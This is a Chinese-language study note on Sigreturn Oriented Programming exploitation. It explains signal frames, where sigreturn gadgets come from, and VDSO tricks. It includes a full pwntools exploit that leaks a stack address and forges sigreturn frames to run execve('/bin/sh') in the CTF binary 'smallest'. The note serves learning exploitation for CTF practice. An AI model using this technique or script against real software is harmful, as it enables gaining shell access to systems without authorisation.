SROP(Sigreturn Oriented Programming)
SROP
signal 机制
32
位的 sigreturn
的调用号为 77
,64
位的系统调用号为 15
过程: 推荐看 angelboy 的 ppt
x86
mov eax,0x77
int 0x80
x64
mov rax,0xf
syscall
利用要点
- 利用 sigreturn ,构造 syscall
- 控制所有寄存器
- 控制 ip 和 stack
- 需要足够的栈空间保存 signal frame
- 直接伪造 sigcontext 结构,全部 push 进 stack
- 将 ret address 设在 sigreturn syscall 的 gadget
- 将 signal frame 中的 rip(eip) 设在 syscall
- sigreturn 回来后就会执行我们自己构造的 syscall
要求
- 利用栈溢出控制栈内容
- 相应的地址
- ‘/bin/sh’
- signal frame
- syscall
- sigreturn
系统调用链
- 控制栈指针 rsp
- 把原来 rip 指向的
syscall
gadget 换成syscall;ret
gadget
基本思路:首先构造一个 fake signal frame
写入内存中,将然后将 RSP
指向这段空间,再发送 rt_sigreturn
信号( 利用 eax 和 syscall 调用 sigreturn 控制 rax=15
32位是 0x77)。此时,内核会将构造好的 fake signal frame
取出,恢复。恢复后类似于ROP的方式,为 syscall
调用 execve
Sigreturn gadget
- x86
- vdso <= 正常的 syscall handler 也會使⽤這邊
- x64
- kernel < 3.3
- vsyscall (0xffffffffff600000) <= 位置⼀直都固定
- kernel >= 3.3
- libc <= 正常的 syscall handler 也會使⽤這邊
- kernel < 3.3
- 利⽤ ROP 製造
sigreturn
的功能为 push frame
中的内容到寄存器。 call sigreturn
时,esp
肯定是指向 frame
之前的地址的第一个字节(首位的一些字节被覆盖也没事)。 sigreturn_addr + str(frame)
例题 smallest
程序很简单 调用 read
public start
start proc near ; DATA XREF:
xor rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn
相当于调用 read(0,$rsp,400)
有栈溢出
思路:
- 通过控制
read
读取的字符数来设置RAX寄存器的值,从而执行sigreturn - 通过
syscall
执行execve("/bin/sh",0,0)
来获取shell。
自己还写不出 exp,根据 ctf-wiki 的调一下,写出自己的理解。
有两种方法:
-
利用
syscall
调用mprotect
函数,将一段空间设置为RWX(可读可写可执行),然后将shellcode
)写到这段空间中去,控制程序执行流跳转执行 首先利用 bof 布置mprotect
的frame,利用
rop 回到程序开头置。根据 read 函数,控制 rax 的值来调用syscall
实现 sigreturn,完成 mprotect 功能(利用syscall;retn
和 rsp 实现syscall chain
返回程序起始位置)。再读入 shellcode 执行即可。 -
常规 SROP,在 stack 中读入
'/bin/sh'
说下2.
- 泄露地址是必要的,可以利用
write
函数。需要写入'/bin/sh'
,write
系统调用号为1,所以绕过xor rax,rax
刚好使调用号为 1. - 构造
frame
, 最后调用sigreture
地址泄露脚本
-
一开始要布置 main_addr*3 rsp rbp 返回地址
-
第二次send,修改低字节部分,改为返回地址,绕过 xor rax rax 泄露的是buf地址,也就是rsp ,那么最多存储16个字节(?) buf在栈上,构造 rsp 指向我们泄露的地址 设置 rax = 15 了:地址8位+7个padding,read 15个字节,作为返回值会存在 rax 中。 有点不明白:
payload = p64(start_addr) * 3
p64(start_addr) + 'a' * 8 + str(sigframe)
为什么 不设置 context.log_level=‘debug’ 泄露地址就会出现错误: 那是因为程序写错了吧… 可是真的关了就错了…?? 为什么…
payload
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
p = process("./smallest")
main_addr = 0x4000b0
sys_addr = 0x4000be
payload = p64(main_addr)*3
p.send(payload)
p.send('\xb3')
stack_addr = u64(p.recv()[8:16])
log.success("leak stack addr:"+hex(stack_addr))
sigframe = SigreturnFrame() # syscall(rax,rdi,rsi,rdx)
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = sys_addr
payload = p64(main_addr)+'a'*8+str(sigframe)
p.send(payload)
sigreturn = p64(sys_addr)+'b'*7 # rax = 15
p.send(sigreturn)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve # syscall(execve,binsh_addr,0,0)
sigframe.rdi = stack_addr + 0x200 # binsh_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = sys_addr
frame_payload = p64(main_addr)+'b'*8+str(sigframe)
print len(frame_payload)
payload = frame_payload+(0x200-len(frame_payload))*'\x00'+'/bin/sh\x00'
p.send(payload)
p.send(sigreturn)
p.interactive()
pwnable.kr unexploitable
这道题的题解就看 pwnable.kr writeup 的博文吧
VDSO
我们再来学一下 VDSO 主要是为了 syscall 指令 sysenter/sysexit
-
提供 __kernel_vsyscall 來負責新型的 syscall
-
提供 sigreturn ⽅便在 signal handler 結束後返回 user code
-
sysenter
- 参数传递与 0x80 一样
- 需要做 function prolog
- push ebp;mov ebp ,esp
- stack pivot 的 gadget
return to vdso
直接利用 vdso 来做 ROP
- gadgets:
- x86
- sysenter
- sysexit
- x64 有些版本的 kernel 可單靠 vdso 的 gadget 組成 execve
- x86
libc 中提到: “On many architectures the kernel provides a virtual DSO and gives AT_SYSINFO_EHDR to point us to it. As this is introduced for new machines, we should look at it for unwind information even if we aren’t making direct use of it. "
_rtld_global_ro:This variable is similar to _rtld_local, but all values are read-only after relocation. 找到 vdso 地址
- 暴力
- 地址泄露
SROP 比ROP 的优势在于,ROP 需要用大量的 Gadgets 来完成寄存器的设置;而 SROP 只需要一块够大的内存空间,将 fake signal frame 部署到内存中即可。
例题 defcon 2015 fuckup vdso+srop 稍后再看…
相关资料
http://www.freebuf.com/articles/network/87447.html
https://bestwing.me/2017/03/20/stack-overflow-three-SROP/
http://thinkycx.me/posts/20170429ichunqiu-pwn-smallest-writeup.html 讲了利用 mprotect 的思路
https://blog.csdn.net/qq_31481187/article/details/73929569